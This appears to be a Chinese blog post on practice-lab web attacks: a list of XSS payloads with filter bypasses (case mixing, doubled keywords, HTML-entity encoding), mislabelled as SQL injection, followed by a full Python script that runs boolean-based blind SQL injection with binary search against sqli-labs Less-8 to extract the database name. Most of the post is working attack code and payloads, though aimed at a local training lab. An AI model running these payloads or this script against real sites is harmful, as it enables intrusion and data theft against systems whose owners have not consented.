sql注入以及Python二分查找

sql注入

/level1.php?name=<script>alert(1)</script>

"><script>alert(1)</script>

'οnclick='alert(1)

" οnclick="alert(1)

"><a href="javascript:alert(1)">

"><a HrEf="javascript:alert(1)">

"><scscriptript>alert(1)</sscriptcript>

HTML字符实体转换,网页字符实体编码https://www.qqxiuzi.cn/bianma/zifushiti.php

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Python二分查找

python 复制代码
import requests
import time

# 配置信息
BASE_URL = "http://127.0.0.1/range/sqli-labs/Less-8/"
SUCCESS_MESSAGE = "You are in..........."
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@#$%^&*()-+=`~[]{}|;:\",./<>?'
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
}
TIMEOUT = 5  # 请求超时时间(秒)
DELAY = 0.1  # 请求间隔时间(秒)

def send_payload(payload):
    """发送SQL注入payload并返回是否成功"""
    try:
        url = f"{BASE_URL}?id={payload}"
        response = requests.get(url, headers=HEADERS, timeout=TIMEOUT)
        time.sleep(DELAY)  # 避免请求过快
        return SUCCESS_MESSAGE in response.text
    except requests.RequestException as e:
        print(f"请求异常: {e}")
        return False

def binary_search(min_val, max_val, payload_template, char_mode=False):
    """通用二分查找函数"""
    left, right = min_val, max_val
    while left <= right:
        mid = (left + right) // 2
        current_char = chr(mid) if char_mode else mid
        
        # 大于判断
        payload = payload_template.format(operator='>', value=current_char)
        if send_payload(payload):
            left = mid + 1
            continue
            
        # 小于判断
        payload = payload_template.format(operator='<', value=current_char)
        if send_payload(payload):
            right = mid - 1
            continue
            
        # 等于
        return current_char
    
    return None

def get_length_digits_count():
    """获取数据库名长度的位数"""
    print("[+] 正在获取数据库名长度的位数...")
    payload_template = "1' and if(substr(length(length(database())), 1, 1){operator}{value}, 1, 0)--+"
    return binary_search(0, 9, payload_template)

def get_database_length(digits_count):
    """获取数据库名的长度"""
    print(f"[+] 数据库名长度的位数: {digits_count}")
    print("[+] 正在获取数据库名长度...")
    
    length_str = ''
    for i in range(1, digits_count + 1):
        payload_template = f"1' and if(substr(length(database()), {i}, 1){{operator}}{{value}}, 1, 0)--+"
        digit = binary_search(0, 9, payload_template)
        if digit is None:
            print(f"[-] 获取第 {i} 位长度失败")
            return None
        length_str += str(digit)
        print(f"[*] 已获取长度第 {i}/{digits_count} 位: {digit}")
    
    return int(length_str)

def get_database_name(length):
    """获取数据库名"""
    print(f"[+] 数据库名长度: {length}")
    print("[+] 正在获取数据库名...")
    
    db_name = ''
    for i in range(1, length + 1):
        payload_template = f"1' and if(ascii(substr(database(), {i}, 1)){{operator}}{{value}}, 1, 0)--+"
        char_code = binary_search(32, 126, payload_template, char_mode=True)
        if char_code is None:
            print(f"[-] 获取第 {i} 个字符失败")
            char = '?'
        else:
            char = chr(char_code)
        db_name += char
        print(f"[*] 已获取字符 {i}/{length}: {char} ({char_code})")
    
    return db_name

if __name__ == '__main__':
    try:
        digits_count = get_length_digits_count()
        if digits_count is None:
            print("[-] 获取数据库名长度的位数失败")
            exit(1)
            
        db_length = get_database_length(digits_count)
        if db_length is None:
            print("[-] 获取数据库名长度失败")
            exit(1)
            
        db_name = get_database_name(db_length)
        print(f"\n[+] 数据库名获取完成: {db_name}")
        print(f"[+] 数据库名长度: {db_length}")
        
    except KeyboardInterrupt:
        print("\n[-] 用户中断")
        exit(1)
    except Exception as e:
        print(f"[-] 发生错误: {e}")
        exit(1)
相关推荐
阿里嘎多哈基米1 天前
SQL 层面行转列
数据库·sql·状态模式·mapper·行转列
Suckerbin1 天前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
雨落Liy1 天前
SQL 函数从入门到精通:原理、类型、窗口函数与实战指南
数据库·sql
不老刘1 天前
行为式验证码技术解析:滑块拼图、语序选词与智能无感知
网络安全·验证码·行为式验证码
三毛20041 天前
玳瑁的嵌入式日记D33-0908(SQL数据库)
jvm·数据库·sql
TDengine (老段)1 天前
TDengine 选择函数 Last() 用户手册
大数据·数据库·sql·物联网·时序数据库·tdengine·涛思数据
房屋安全鉴定检测1 天前
房屋安全鉴定报告有效期多久
安全·网络安全
心 一2 天前
Web安全基石:深入理解与防御SQL注入漏洞
sql·安全·web安全
房屋安全鉴定检测2 天前
房屋安全鉴定需要什么条件
安全·网络安全
林熙蕾LXL2 天前
SQL Server——基本操作
数据库·sql